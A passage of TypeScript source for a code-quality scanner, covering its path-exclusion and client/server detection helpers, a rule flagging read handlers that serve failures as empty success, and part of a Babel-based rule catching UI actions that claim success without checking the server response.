fixtures and mocks are written to LOOK like the defect —\n // an MSW handler is shaped exactly like a route that swallows its failure,\n // and a story is shaped exactly like a component that never handles one.\n if (TEST_FILE_PATTERN.test(path)) return true;\n // TEST_FILE_PATTERN wants a slash before \"fixtures\", so it misses the\n // hyphenated spelling this repo itself uses — `test-fixtures/clean/...`.\n // Fixture trees are written to LOOK like the defect, so missing one is how a\n // scanner reports a finding on a file whose whole purpose is to contain it.\n if (/(?:^|\\/)[\\w.-]*(?:fixtures?|mocks?|examples?|samples?)\\//i.test(path)) return true;\n if (isVendoredPath(path)) return true;\n // Generated output and docs.\n if (/(?:^|\\/)(?:\\.next|dist|build|out|coverage|node_modules)\\//.test(path)) return true;\n if (/\\.(?:md|mdx|snap|lock|json|yml|yaml|txt)$/i.test(path)) return true;\n // Seeds, migrations and one-off scripts describe intent, not running behaviour.\n if (/(?:^|\\/)(?:migrations?|seeds?|scripts?)\\//i.test(path)) return true;\n return false;\n}\n\n/**\n * React client code.\n *\n * A \"use client\" directive is definitive. The hook check catches the same\n * thing in projects that predate the directive or that build with Vite, which\n * — per the corpus — is what most of the target market actually uses.\n */\nfunction looksClient(code: string): boolean {\n if (/^\\s*[\"']use client[\"']/m.test(code)) return true;\n return /\\b(?:useState|useEffect|useTransition|useReducer)\\s*\\(/.test(code);\n}\n\n/**\n * Server code, spelled every way the market spells it.\n *\n * Restricting this to Next.js route handlers is how a rule ends up with no\n * surface to fire on: across 30 real AI-generated repos, ONE used App Router\n * route handlers, while 69 Supabase edge functions used Deno.serve with\n * `new Response(JSON.stringify(...))`. Both are servers.\n */\nfunction looksServer(path: string, code: string): boolean {\n if (/(?:^|\\/)route\\.(?:ts|js)$/.test(path)) return true;\n if (/(?:^|\\/)middleware\\.(?:ts|js)$/.test(path)) return true;\n if (/(?:^|\\/)(?:api|server|functions|edge-functions)\\//.test(path)) return true;\n if (/^\\s*[\"']use server[\"']/m.test(code)) return true;\n if (/\\bDeno\\s*\\.\\s*serve\\s*\\(/.test(code)) return true;\n if (/\\bserve\\s*\\(\\s*(?:async\\s*)?\\(/.test(code) && /deno\\.land|@std\\/http/i.test(code)) return true;\n if (/\\bexport\\s+(?:async\\s+)?function\\s+(?:GET|POST|PUT|PATCH|DELETE|HEAD)\\s*\\(/.test(code)) return true;\n return false;\n}\n\n/** Build the shared context once per scan. */\nexport function buildQualityContext(\n files: { path: string; content: string }[],\n): QualityContext {\n const built: QualityFile[] = files.map((f) => {\n const code = maskComments(f.content);\n return {\n path: f.path,\n content: f.content,\n code,\n // Parsing is cached by (path, content-hash) in parse.ts, so this is the\n // only place the cost is paid even with eight rules running.\n parsed: parseFile(f.content, f.path),\n excluded: isExcludedPath(f.path),\n isClient: looksClient(code),\n isServer: looksServer(f.path, code),\n };\n });\n return { files: built, byPath: new Map(built.map((f) => [f.path, f])) };\n}\n\n/** Line number for a byte offset, 1-based. Offsets survive maskComments. */\n/**\n * The gate a client-side rule applies before it looks at a file, named once.\n *\n * Four rules spelled these three conditions out, and the measurement harness\n * made a fifth copy that dropped `!isServer` — so `src/api/hooks/useThing.ts`\n * counted toward a denominator no client rule would ever run on, and counted\n * again on the server side. A denominator that does not match its numerator is\n * the one thing that harness exists not to produce.\n */\nexport function isClientTarget(file: QualityFile): boolean {\n return !file.excluded && file.isClient && !file.isServer;\n}\n\n/** The server-side counterpart. */\nexport function isServerTarget(file: QualityFile): boolean {\n return !file.excluded && file.isServer;\n}\n\nexport function lineAt(content: string, index: number): number {\n let line = 1;\n for (let i = 0; i < index && i < content.length; i++) {\n if (content[i] === \"\\n\") line++;\n }\n return line;\n}\n","import type { QualityRule, QualityHit } from \"../types.js\";\nimport { lineAt } from \"../context.js\";\n\n/**\n * QA001 — a failed read served as an empty one.\n *\n * A GET handler catches, and answers 200 with an empty payload. No caller can\n * tell \"the database was unreachable\" from \"you have nothing yet\", so the page\n * renders its empty state. In this product that showed a returning customer\n * the brand-new-user onboarding screen, and on the checklist a page that then\n * SAVED that emptiness back over real data.\n *\n * Every clause below was bought with a false positive. Removing one brings its\n * class back:\n *\n * GET only a nullable helper returning null is a contract, not a\n * swallowed failure, and `generateStaticParams` returning []\n * is the documented build-time fallback.\n * unconditional a typed catch treating Stripe `resource_missing` or Prisma\n * P2025 as \"no rows\" is correct; so is one that rethrows.\n * all-empty `{ posts, related: [] }` is best-effort enrichment beside\n * real data.\n * no marker `{ results: [], degraded: true }` already tells the caller.\n * That is partial success, not this bug.\n */\n\n/**\n * Is every value in this object literal an empty one?\n *\n * Written as a small split rather than a pair of regexes because the obvious\n * regex is wrong in a way that silently disables the rule: `/:\\s*(?!\\[\\s*\\])/`\n * backtracks — `\\s*` gives back the space, the lookahead is then tested\n * against \" []\" instead of \"[]\", succeeds, and every empty payload reads as\n * non-empty. The rule fired on nothing at all until this was replaced.\n */\nconst EMPTY_LITERAL = /^(?:\\[\\s*\\]|null|undefined|\\{\\s*\\}|0|\"\"|''|``|false)$/;\n\nfunction splitTopLevel(body: string): string[] {\n const parts: string[] = [];\n let depth = 0;\n let current = \"\";\n for (const ch of body) {\n if (ch === \"{\" || ch === \"[\" || ch === \"(\") depth++;\n else if (ch === \"}\" || ch === \"]\" || ch === \")\") depth--;\n if (ch === \",\" && depth === 0) {\n parts.push(current);\n current = \"\";\n continue;\n }\n current += ch;\n }\n if (current.trim()) parts.push(current);\n return parts;\n}\n\nfunction allValuesEmpty(payload: string): boolean {\n const inner = payload.trim().replace(/^\\{/, \"\").replace(/\\}$/, \"\");\n const entries = splitTopLevel(inner).map((e) => e.trim()).filter(Boolean);\n if (entries.length === 0) return false;\n return entries.every((entry) => {\n const colon = entry.indexOf(\":\");\n // Shorthand — `{ posts, related: [] }` — is a reference to real data.\n if (colon === -1) return false;\n return EMPTY_LITERAL.test(entry.slice(colon + 1).trim());\n });\n}\n/** Any signal that lets the caller distinguish a failure. */\nconst HAS_MARKER = /\\b(?:error|degraded|stale|partial|failed|unavailable)\\b|ok\\s*:\\s*false/i;\n\n/** The body of every catch block, brace-balanced. */\nfunction catchBlocks(code: string): { body: string; index: number }[] {\n const out: { body: string; index: number }[] = [];\n for (const m of code.matchAll(/\\bcatch\\b[^{]*\\{/g)) {\n let depth = 1;\n let i = m.index! + m[0].length;\n for (; i < code.length && depth > 0; i++) {\n if (code[i] === \"{\") depth++;\n else if (code[i] === \"}\") depth--;\n }\n out.push({ body: code.slice(m.index! + m[0].length, i), index: m.index! });\n }\n return out;\n}\n\n/**\n * Is this offset inside an exported GET/HEAD handler, or a Deno serve()?\n *\n * Brace-balanced from the handler's opening brace, so a catch in a helper\n * BELOW the handler is not attributed to it — which a \"nearest preceding\n * export\" heuristic gets wrong in every file with more than one function.\n */\nfunction inReadHandler(code: string, offset: number): boolean {\n const heads = [\n /\\bexport\\s+(?:async\\s+)?function\\s+(?:GET|HEAD)\\s*\\([^)]*\\)\\s*\\{/g,\n /\\bexport\\s+const\\s+(?:GET|HEAD)\\s*(?::[^=]+)?=\\s*(?:async\\s*)?\\([^)]*\\)\\s*=>\\s*\\{/g,\n /\\b(?:Deno\\s*\\.\\s*)?serve\\s*\\(\\s*(?:async\\s*)?\\([^)]*\\)\\s*=>\\s*\\{/g,\n ];\n for (const re of heads) {\n for (const m of code.matchAll(re)) {\n const start = m.index! + m[0].length;\n if (offset < start) continue;\n let depth = 1;\n let i = start;\n for (; i < code.length && depth > 0; i++) {\n if (code[i] === \"{\") depth++;\n else if (code[i] === \"}\") depth--;\n }\n if (offset < i) return true;\n }\n }\n return false;\n}\n\n/** Every JSON response construction in a block, whichever framework wrote it. */\nfunction jsonResponses(block: string): string[] {\n const out: string[] = [];\n const patterns = [\n /(?:NextResponse|Response)\\s*\\.\\s*json\\s*\\(([\\s\\S]{0,400}?)\\)\\s*;/g,\n /new\\s+Response\\s*\\(\\s*JSON\\s*\\.\\s*stringify\\s*\\(([\\s\\S]{0,400}?)\\)/g,\n ];\n for (const re of patterns) {\n for (const m of block.matchAll(re)) out.push(m[1]);\n }\n return out;\n}\n\nexport const silentFailedRead: QualityRule = {\n id: \"QA001\",\n title: \"A failed read is served as an empty one\",\n severity: \"high\",\n category: \"Correctness\",\n description:\n \"This handler answers a read failure with a success status and an empty payload, so callers cannot tell a broken query from an account that genuinely has no data. Pages render their empty state, and anything that saves after loading can write that emptiness back.\",\n fix: \"Answer with a non-2xx status and an error, or include a marker the caller can check. Keep the empty payload only for a genuinely empty result.\",\n precisionNotes:\n \"GET/HEAD handlers only; unconditional catches only; every key in the payload must be empty; no error/degraded marker and no explicit error status. Each clause removes a class of correct code: nullable helpers, typed catches, best-effort enrichment, partial success.\",\n check(ctx) {\n const hits: QualityHit[] = [];\n for (const file of ctx.files) {\n if (file.excluded || !file.isServer) continue;\n for (const { body, index } of catchBlocks(file.code)) {\n // A catch that inspects the error, or rethrows, is making a decision.\n if (/\\b(?:if|switch|instanceof)\\b/.test(body)) continue;\n if (/\\bthrow\\b/.test(body)) continue;\n if (!inReadHandler(file.code, index)) continue;\n\n for (const payload of jsonResponses(body)) {\n if (!allValuesEmpty(payload)) continue;\n if (HAS_MARKER.test(payload)) continue;\n // An explicit error status is the caller's signal; only a bare 2xx hides.\n if (/\\bstatus\\s*:\\s*[45]\\d\\d/.test(body)) continue;\n hits.push({ file: file.path, line: lineAt(file.content, index) });\n break;\n }\n }\n }\n return hits;\n },\n};\n","import type { NodePath } from \"@babel/traverse\";\n// eslint-disable-next-line @typescript-eslint/no-require-imports\nimport _traverse from \"@babel/traverse\";\nimport type {\n CallExpression,\n Function as BabelFunction,\n IfStatement,\n Node,\n} from \"@babel/types\";\nimport { lineAt } from \"../context.js\";\nimport type { QualityFile, QualityHit, QualityRule } from \"../types.js\";\n\n/**\n * QA002 — a user action reports success it did not get.\n *\n * The click handler fires the mutation, never looks at the response, and then\n * tells the user it worked: a toast that says \"API key revoked\", a row removed\n * from the local list, a redirect to the index page. The server may have\n * answered 500. The user walks away believing a key is dead that is still live.\n *\n * THE RULE IS NOT \"the response is unchecked\". That version fires on every\n * analytics beacon and every thin API wrapper in the repo. This one fires on\n * \"a user-initiated mutation ASSERTS SUCCESS IT DID NOT GET\" — the assertion is\n * what makes it a lie rather than a shrug.\n *\n * WHY BABEL AND NOT A CHARACTER WINDOW. The unit of this defect is the\n * enclosing function: the fetch is on line 40, the toast is on line 58, and the\n * try/catch that would exonerate both is on line 32. A 900-char window around\n * the fetch answers a question nobody asked. Every structural clause below\n * (reachability from a handler, the enclosing function's returns, the shape of\n * an `if (res.ok)` with no alternate) is resolved on the AST; the token-level\n * signals are then matched over the EXACT SOURCE RANGE of that function, which\n * is the part a regex can legitimately do once the AST has drawn the box.\n *\n * Every clause was bought with a false positive found by adversarial review.\n * Removing one brings its class back:\n *\n * client only a route handler or a \"use server\" action has no user to\n * lie to; its caller is the one that reports.\n * handler-reachable a module-scope fetch, a useEffect load, and a\n * `pagehide` beacon are not user actions. The beacon in\n * particular is SUPPOSED to be fire-and-forget.\n * not a beacon an /analytics or /track POST that nobody checks is the\n * documented design of every telemetry client on earth.\n * guard-in-caller `export async function apiPost()` that RETURNS the\n * response, and a react-query `mutationFn`, both delegate\n * error handling by contract. The library owns onError.\n * no error path a try/catch, a `.catch(`, a `throw`, a `toast.error`,\n * an `assertOk()` helper, or a read of `body.error` all\n * mean somebody is handling it. Only the EMPTY-ELSE shape\n * survives this clause, and it survives on purpose: the\n * shipped revoke-key bug DID check `res.ok` and did\n * nothing with the false branch.\n * success asserted without an assertion this is a fire-and-forget write,\n * which is a different (and much weaker) finding.\n * no revalidation a `mutate()` / `refetch()` / `router.refresh()` after\n * the write is self-correcting: the wrong UI lasts until\n * the refetch lands, so the user is not left misinformed.\n * consequence gate \"profile saved\" that silently failed is an annoyance.\n * \"API key revoked\" that silently failed is a live\n * credential the owner believes is dead. Only the second\n * is worth a high-severity interrupt.\n */\n\nconst traverse = (\n typeof _traverse === \"function\" ? _traverse : (_traverse as { default: typeof _traverse }).default\n) as typeof _traverse;\n\n/* ------------------------------------------------------------------ *\n * Clause 8 — path exclusions layered on top of the shared gate.\n * ------------------------------------------------------------------ */\n\n/**\n * The shared gate already drops tests, stories, fixtures, vendored code,\n * migrations, seeds and scripts. These are the extra shapes this rule's review\n * turned up: generated API clients (which never handle errors, by design — the\n * generator leaves that to the caller) and browser-automation suites (which are\n * written to LOOK like an unchecked user action, because that is the thing\n * under test).\n */\nconst EXTRA_EXCLUDED_PATHS: RegExp[] = [\n /(?:^|\\/)generated\\//i,\n /(?:^|\\/)__generated__\\//i,\n /\\.gen\\./i,\n /(?:^|\\/)(?:e2e|playwright|cypress)\\//i,\n /(?:^|\\/)(?:mocks|__mocks__)\\//i,\n /\\bmsw\\b/i,\n /\\.stories\\./i,\n /(?:^|\\/)seed[^/]*$/i,\n];\n\n/**\n * Clause 1's explicit negatives.\n *\n * `file.isServer` from the shared gate already covers route handlers, edge\n * functions and `\"use server\"`, but these three filenames are named in the\n * spec because they are the ones that can carry React imports and still have\n * no user in front of them.\n */\nconst NEVER_CLIENT_PATH = /(?:^|\\/)(?:route|middleware|instrumentation)\\.[jt]sx?$/;\n\n/* ------------------------------------------------------------------ *\n * Clause 3 — the fire-and-forget population.\n * ------------------------------------------------------------------ */\n\n/**\n * URLs whose whole point is that nobody checks them.\n *\n * A telemetry POST that awaited its response and toasted on failure would be a\n * defect of its own. `keepalive: true` is the same statement in the init\n * object: the author explicitly asked the browser to let the request outlive\n * the page, which is only ever said about a request whose answer is unwanted.\n */\nconst BEACON_URL =\n /analytics|telemetry|track|metric|event|beacon|log|ping|presence|heartbeat|revalidate|impression|view/i;\n\n/* ------------------------------------------------------------------ *\n * Clause 4 — functions whose contract is \"the caller handles it\".\n * ------------------------------------------------------------------ */\n\n/** An exported `apiPost` / `requestJson` / `mutateThing` is a transport layer. */\nconst TRANSPORT_NAME = /^(?:api|http|request|fetch|post|put|patch|del|delete|call|mutate)/i;\n\n/** Properties whose enclosing library owns the error path (onError, isError). */\nconst LIBRARY_CALLBACK_KEYS = new Set([\"mutationFn\", \"queryFn\", \"action\"]);\n\n/* ------------------------------------------------------------------ *\n * Clause 5 — anything that constitutes handling the failure.\n * ------------------------------------------------------------------ */\n\n/**\n * Token-level error paths, matched over the enclosing function's source range.\n *\n * `console.error` is deliberately NOT here. It tells the developer, not the\n * user, and the user is the one being lied to — a handler that logs to the\n * console and then toasts \"Deleted\" is exactly the defect, not an exoneration.\n */\nexport const ERROR_PATH_SIGNALS: RegExp[] = [\n /\\.catch\\s*\\(/,\n /\\bthrow\\b/,\n /\\b\\w*(?:assert|ensure|throwIf|unwrap|handleRes|checkRes|raiseFor)\\w*\\s*\\(/i,\n /\\btoast\\s*\\.\\s*error\\b/,\n /\\balert\\s*\\(/,\n /\\bset[A-Za-z0-9_]*(?:Error|Message|Status|Toast)\\s*\\(/,\n // A read of a parsed body property named error/message/detail — the handler\n // is pulling the server's complaint out, so it knows failures happen.\n // `console.error` is excluded by the lookbehind rather than by omission.\n /(?<!\\bconsole)\\.(?:error|message|detail)\\b/,\n // The destructured spelling of the same read: `const { error } = await r.json()`.\n /\\{[^}]*\\b(?:error|message|detail)\\b[^}]*\\}\\s*=/,\n];\n\n/* ------------------------------------------------------------------ *\n * Clause 6 — the assertion that turns a shrug into a lie.\n * ------------------------------------------------------------------ */\n\n/** Words an app only writes to the screen when it believes the write landed. */\nconst SUCCESS_WORD = \"saved|deleted|revoked|updated|sent|removed\";\n\nconst SUCCESS_ASSERTIONS: RegExp[] = [\n /\\btoast\\s*\\.\\s*success\\s*\\(/,\n /\\bset[A-Za-z0-9_]*(?:Saved|Success|Done)\\s*\\(/,\n // A success string written to state or handed to a notifier. Built from\n // SUCCESS_WORD so the vocabulary lives in exactly one place.\n new RegExp(\n `\\\\b(?:set[A-Z]\\\\w*|toast|showToast|notify|message\\\\s*\\\\.\\\\s*\\\\w+)\\\\s*\\\\(\\\\s*[^)]{0,60}?[\"'\\`][^\"'\\`]{0,120}?(?:${SUCCESS_WORD})`,\n \"i\",\n ),\n // Navigating away IS the assertion — the user is moved on as though it worked.\n /\\brouter\\s*\\.\\s*(?:push|replace)\\s*\\(/,\n /\\bwindow\\s*\\.\\s*location\\b/,\n // react-router's spelling of the same thing. The corpus this rule targets is\n // mostly Vite, where `router.push` does not exist and `navigate(` is it.\n /\\bnavigate\\s*\\(\\s*[\"'`/]/,\n // Optimistic local mutation: the row is gone from the UI whatever the server said.\n /\\bset[A-Z]\\w*\\s*\\(\\s*\\(?\\s*\\w+\\s*\\)?\\s*=>\\s*[\\s\\S]{0,140}?\\.(?:filter|map|concat)\\s*\\(/,\n];\n\n/* ------------------------------------------------------------------ *\n * Clause 7 — self-correcting UI.\n * ------------------------------------------------------------------ */\n\n/**\n * A revalidation after the write re-reads the truth from the server, so the\n * optimistic row comes back and the toast is contradicted within a second.\n * Misleading for a moment is not the defect this rule is about.\n */\nconst REVALIDATION =\n /\\bmutate\\s*\\(|\\brefetch\\s*\\(|\\brouter\\s*\\.\\s*refresh\\s*\\(|\\binvalidateQueries\\s*\\(|\\brevalidate/;\n\n/* ------------------------------------------------------------------ *\n * The consequence gate.\n * ------------------------------------------------------------------ */\n\n/**\n * What separates \"high\" from \"not worth an interrupt\".\n *\n * The spec's closing instruction: everything that survives clauses 1-8 but has\n * no destructive consequence is `info` at most, or not reported. The rule\n * contract carries ONE severity for the whole rule and this one ships at\n * \"high\", so the only faithful implementation of \"info at most, or not\n * reported\" is: not reported. A low-stakes \"profile saved\" is dropped here.\n */\nconst CONSEQUENCE =\n /revoke|delete|remove|disable|deactivate|rotate|sign-?out|logout|session|api-?key|token|secret|member|invite|permission|2fa|mfa|password|billing|cancel/i;\n\n/** Wording that makes a `confirm()` a destructive confirm rather than a nudge. */\nconst DESTRUCTIVE_CONFIRM = /delete|remove|revoke|permanent|irreversible|cannot be undone|can't be undone|are you sure/i;\n\n/* ------------------------------------------------------------------ *\n * Small AST utilities.\n * ------------------------------------------------------------------ */\n\nexport function nodeStart(node: Node): number {\n return node.start ?? 0;\n}\n\nexport function nodeEnd(node: Node): number {\n return node.end ?? 0;\n}\n\n/** Terminal identifier of a callee: `a.b.foo()` -> \"foo\". */\nfunction calleeName(callee: Node): string | null {\n if (callee.type === \"Identifier\") return callee.name;\n if (\n (callee.type === \"MemberExpression\" || callee.type === \"OptionalMemberExpression\") &&\n callee.property.type === \"Identifier\"\n ) {\n return callee.property.name;\n }\n return null;\n}\n\n/**\n * `fetch(...)`, `window.fetch(...)` — and nothing else.\n *\n * Bound to the global rather than to `isCalleeNamed(callee, \"fetch\")`, which\n * would also match `cache.fetch(x)` and `stripe.fetch(...)`, neither of which\n * is an HTTP write with a Response to check.\n */\nexport function isFetchCallee(callee: Node): boolean {\n if (callee.type === \"Identifier\") return callee.name === \"fetch\";\n if (\n (callee.type === \"MemberExpression\" || callee.type === \"OptionalMemberExpression\") &&\n callee.property.type === \"Identifier\" &&\n callee.property.name === \"fetch\" &&\n callee.object.type === \"Identifier\"\n ) {\n return /^(?:window|globalThis|self)$/.test(callee.object.name);\n }\n return false;\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 2 — the call graph, so \"reachable from an event handler\" is a\n * fact about the file rather than a guess about the function's name.\n * ------------------------------------------------------------------ */\n\ninterface FnInfo {\n path: NodePath<BabelFunction>;\n start: number;\n end: number;\n name: string | null;\n exported: boolean;\n /** Directly the value of an onClick/onSubmit/onChange JSX attribute. */\n jsxHandler: boolean;\n /** Every identifier called anywhere inside this function, nested fns included. */\n callees: Set<string>;\n}\n\n/** A name the function can be referred to by, however it was bound. */\nfunction functionName(path: NodePath<BabelFunction>): string | null {\n const n = path.node;\n if (n.type === \"FunctionDeclaration\" && n.id) return n.id.name;\n if ((n.type === \"ObjectMethod\" || n.type === \"ClassMethod\") && n.key.type === \"Identifier\") {\n return n.key.name;\n }\n const parent = path.parentPath;\n if (!parent) return null;\n if (parent.isVariableDeclarator() && parent.node.id.type === \"Identifier\") {\n return parent.node.id.name;\n }\n if (parent.isObjectProperty() && parent.node.key.type === \"Identifier\") {\n return parent.node.key.name;\n }\n if (parent.isClassProperty() && parent.node.key.type === \"Identifier\") {\n return parent.node.key.name;\n }\n if (parent.isAssignmentExpression()) {\n const left = parent.node.left;\n if (left.type === \"Identifier\") return left.name;\n if (left.type === \"MemberExpression\" && left.property.type === \"Identifier\") {\n return left.property.name;\n }\n }\n // `const handleSave = useCallback(async () => {...}, [])` — without this the\n // single most common handler spelling in React is an anonymous function and\n // clause 2 never matches it.\n if (parent.isCallExpression() && parent.parentPath?.isVariableDeclarator()) {\n const id = parent.parentPath.node.id;\n if (id.type === \"Identifier\") return id.name;\n }\n return null;\n}\n\n/** The `onClick={submit}` spelling: a bare reference bound to a handler slot. */\nconst HANDLER_ATTRIBUTE = /^on(?:Click|Submit|Change)$/;\n\n/** `onClick={() => ...}`, `onSubmit={function () {}}`, `onChange={useCallback(fn)}`. */\nfunction isJsxHandlerValue(path: NodePath<BabelFunction>): boolean {\n let p: NodePath | null = path.parentPath;\n if (p?.isCallExpression()) p = p.parentPath; // useCallback / useMemo wrapper\n if (!p?.isJSXExpressionContainer()) return false;\n const attr = p.parentPath;\n if (!attr?.isJSXAttribute()) return false;\n const name = attr.node.name;\n return name.type === \"JSXIdentifier\" && /^on(?:Click|Submit|Change)$/.test(name.name);\n}\n\n/**\n * Contexts where an unchecked write is the correct shape.\n *\n * A useEffect load is not a user action; a setInterval poll has no user\n * standing there; and a `pagehide`/`beforeunload`/`visibilitychange` handler is\n * the textbook place to fire a request you cannot wait for — the page is being\n * torn down while it runs.\n */\nfunction inAmbientContext(path: NodePath): boolean {\n let p: NodePath | null = path.parentPath;\n while (p) {\n if (p.isCallExpression()) {\n const name = calleeName(p.node.callee);\n if (name === \"useEffect\" || name === \"useLayoutEffect\" || name === \"setInterval\") return true;\n if (name === \"addEventListener\") {\n const first = p.node.arguments[0];\n if (\n first &&\n first.type === \"StringLiteral\" &&\n /^(?:pagehide|beforeunload|visibilitychange|unload)$/.test(first.value)\n ) {\n return true;\n }\n }\n }\n p = p.parentPath;\n }\n return false;\n}\n\n/**\n * Every function in the file, plus the set reachable from an event handler.\n *\n * Reachability is transitive inside the file: `onClick={handleDelete}` ->\n * `handleDelete` -> `removeKey()` -> the fetch. A one-hop version misses the\n * extracted-helper spelling, which is most of them.\n */\nfunction collectFunctions(file: QualityFile): {\n /**\n * Every function reachable from an event handler, mapped to the names of the\n * handlers that reach it. The names feed the consequence gate: a neutrally\n * named `send()` called only from `handleRevokeKey` inherits that stake, and\n * — importantly — does NOT inherit the stake of an unrelated `handleDelete`\n * sitting elsewhere in the same file.\n */\n reachable: Map<FnInfo, Set<string>>;\n} {\n const parsed = file.parsed;\n const all: FnInfo[] = [];\n const byNode = new Map<BabelFunction, FnInfo>();\n if (!parsed) return { reachable: new Map() };\n\n // `onClick={submit}` names its handler instead of inlining it. Without this\n // pass the most idiomatic React spelling of a handler is invisible to clause\n // 2, and the rule quietly stops firing on half the market: the function is\n // called `submit`, not `handleSubmit`, and it is not lexically the attribute\n // value — only its name is.\n const handlerRefNames = new Set<string>();\n traverse(parsed.ast, {\n JSXAttribute(path) {\n const name = path.node.name;\n if (name.type !== \"JSXIdentifier\" || !HANDLER_ATTRIBUTE.test(name.name)) return;\n const value = path.node.value;\n if (!value || value.type !== \"JSXExpressionContainer\") return;\n const expr = value.expression;\n if (expr.type === \"Identifier\") handlerRefNames.add(expr.name);\n // `onClick={() => handleThing(id)}` needs nothing here — the arrow IS the\n // handler, and the call graph carries it the rest of the way.\n },\n });\n\n traverse(parsed.ast, {\n Function(path) {\n const info: FnInfo = {\n path,\n start: nodeStart(path.node),\n end: nodeEnd(path.node),\n name: functionName(path),\n exported: !!path.findParent(\n (p) => p.isExportNamedDeclaration() || p.isExportDefaultDeclaration(),\n ),\n jsxHandler: isJsxHandlerValue(path),\n callees: new Set<string>(),\n };\n all.push(info);\n byNode.set(path.node, info);\n },\n });\n\n // Attribute every call to every function that lexically contains it.\n traverse(parsed.ast, {\n CallExpression(path) {\n const name = calleeName(path.node.callee);\n if (!name) return;\n let fn = path.getFunctionParent();\n while (fn) {\n byNode.get(fn.node)?.callees.add(name);\n fn = fn.getFunctionParent();\n }\n },\n });\n\n const byName = new Map<string, FnInfo[]>();\n for (const info of all) {\n if (!info.name) continue;\n const list = byName.get(info.name);\n if (list) list.push(info);\n else byName.set(info.name, [info]);\n }\n\n const seeds = all.filter((info) => {\n const name = info.name;\n return (\n info.jsxHandler ||\n (name !== null && (/^(?:handle|on)[A-Z]/.test(name) || handlerRefNames.has(name)))\n );\n });\n\n // One walk per handler, so each reachable function knows WHICH handlers can\n // reach it rather than merely that some handler somewhere can.\n const reachable = new Map<FnInfo, Set<string>>();\n for (const seed of seeds) {\n const seen = new Set<FnInfo>([seed]);\n const queue: FnInfo[] = [seed];\n while (queue.length > 0) {\n const current = queue.pop()!;\n for (const callee of current.callees) {\n for (const target of byName.get(callee) ?? []) {\n if (seen.has(target)) continue;\n seen.add(target);\n queue.push(target);\n }\n }\n }\n for (const fn of seen) {\n const names = reachable.get(fn) ?? new Set<string>();\n if (seed.name) names.add(seed.name);\n reachable.set(fn, names);\n }\n }\n return { reachable };\n}\n\n/* ------------------------------------------------------------------ *\n * Clause 5 — the response-status reference, and the one shape of it\n * that still counts as the defect.\n * ------------------------------------------------------------------ */\n\n/** How the Response got bound, so `.ok` references can be tied to THIS fetch. */\nfunction responseBinding(fetchPath: NodePath<CallExpression>): {\n ident: string | null;\n destructuredOk: string[];\n} {\n let p: NodePath | null = fetchPath.parentPath;\n if (p?.isAwaitExpression()) p = p.parentPath;\n\n if (p?.isVariableDeclarator()) {\n const id = p.node.id;\n if (id.type === \"Identifier\") return { ident: id.name, destructuredOk: [] };\n if (id.type === \"ObjectPattern\") {\n const names: string[] = [];\n for (const prop of id.properties) {\n if (\n prop.type === \"ObjectProperty\" &&\n prop.key.type === \"Identifier\" &&\n /^(?:ok|status|statusText)$/.test(prop.key.name)\n ) {\n names.push(prop.value.type === \"Identifier\" ? prop.value.name : prop.key.name);\n }\n }\n return { ident: null, destructuredOk: names };\n }\n }\n\n // `fetch(url, init).then(res => ...)` — the response is the callback's param.\n if (\n p &&\n (p.isMemberExpression() || p.isOptionalMemberExpression()) &&\n calleeName(p.node) === \"then\"\n ) {\n const call = p.parentPath;\n if (call?.isCallExpression()) {\n const cb = call.node.arguments[0];\n if (cb && (cb.type === \"ArrowFunctionExpression\" || cb.type === \"FunctionExpression\")) {\n const param = cb.params[0];\n if (param && param.type === \"Identifier\") {\n return { ident: param.name, destructuredOk: [] };\n }\n }\n }\n }\n return { ident: null, destructuredOk: [] };\n}\n\n/** Does this `if` test read as \"the request failed\"? */\nfunction testIsNegative(test: Node): boolean {\n if (test.type === \"UnaryExpression\" && test.operator === \"!\") return true;\n if (test.type === \"BinaryExpression\") {\n if (test.operator === \"!==\" || test.operator === \"!=\") return true;\n if (test.operator === \">=\" || test.operator === \">\") return true; // status >= 400\n if (test.operator === \"===\" || test.operator === \"==\") {\n if (test.right.type === \"BooleanLiteral\" && test.right.value === false) return true;\n if (test.left.type === \"BooleanLiteral\" && test.left.value === false) return true;\n }\n }\n if (test.type === \"LogicalExpression\") {\n return testIsNegative(test.left) || testIsNegative(test.right);\n }\n return false;\n}\n\n/**\n * The empty-else variant the spec insists on keeping.\n *\n * `if (!res.ok) return;` and `if (res.ok) { ...success... }` both TOUCH the\n * status and still leave the user with nothing: the first returns in silence,\n * the second has no alternate at all. The shipped revoke-key bug was the first\n * of those, and a naive \"does it mention .ok?\" check would have cleared it.\n *\n * Anything richer than a bare `return` in the failure branch is somebody doing\n * something about it, and is not this rule's business.\n */\nfunction isEmptyElseOkCheck(ref: NodePath): boolean {\n const ifPath = ref.findParent((p) => p.isIfStatement()) as NodePath<IfStatement> | null;\n if (!ifPath) return false;\n const stmt = ifPath.node;\n\n // The reference has to be in the TEST. One inside the body is a use of the\n // status for something else entirely, and is not a guard.\n const refStart = nodeStart(ref.node);\n if (refStart < nodeStart(stmt.test) || refStart >= nodeEnd(stmt.test)) return false;\n if (stmt.alternate) return false;\n\n if (!testIsNegative(stmt.test)) return true; // `if (res.ok) { ...success... }`\n\n const consequent = stmt.consequent;\n if (consequent.type === \"ReturnStatement\") return !consequent.argument;\n if (consequent.type === \"BlockStatement\") {\n return (\n consequent.body.length === 1 &&\n consequent.body[0].type === \"ReturnStatement\" &&\n !consequent.body[0].argument\n );\n }\n return false;\n}\n\n/**\n * Every reference to this response's ok/status/statusText inside `unit`, and\n * whether all of them are the empty-else shape.\n *\n * Returns `null` when there is no status reference at all — the plain \"never\n * looked\" case — and `false` when at least one reference does something real,\n * which exonerates the whole function.\n */\nfunction statusReferencesAreEmptyElse(\n unit: FnInfo,\n binding: { ident: string | null; destructuredOk: string[] },\n): boolean | null {\n const refs: NodePath[] = [];\n const { ident, destructuredOk } = binding;\n\n unit.path.traverse({\n MemberExpression(p) {\n if (!ident) return;\n const { object, property } = p.node;\n if (object.type !== \"Identifier\" || object.name !== ident) return;\n if (property.type !== \"Identifier\") return;\n if (!/^(?:ok|status|statusText)$/.test(property.name)) return;\n refs.push(p);\n },\n OptionalMemberExpression(p) {\n if (!ident) return;\n const { object, property } = p.node;\n if (object.type !== \"Identifier\" || object.name !== ident) return;\n if (property.type !== \"Identifier\") return;\n if (!/^(?:ok|status|statusText)$/.test(property.name)) return;\n refs.push(p);\n },\n Identifier(p) {\n if (destructuredOk.length === 0) return;\n if (!destructuredOk.includes(p.node.name)) return;\n if (!p.isReferencedIdentifier()) return;\n refs.push(p);\n },\n });\n\n if (refs.length === 0) return null;\n return 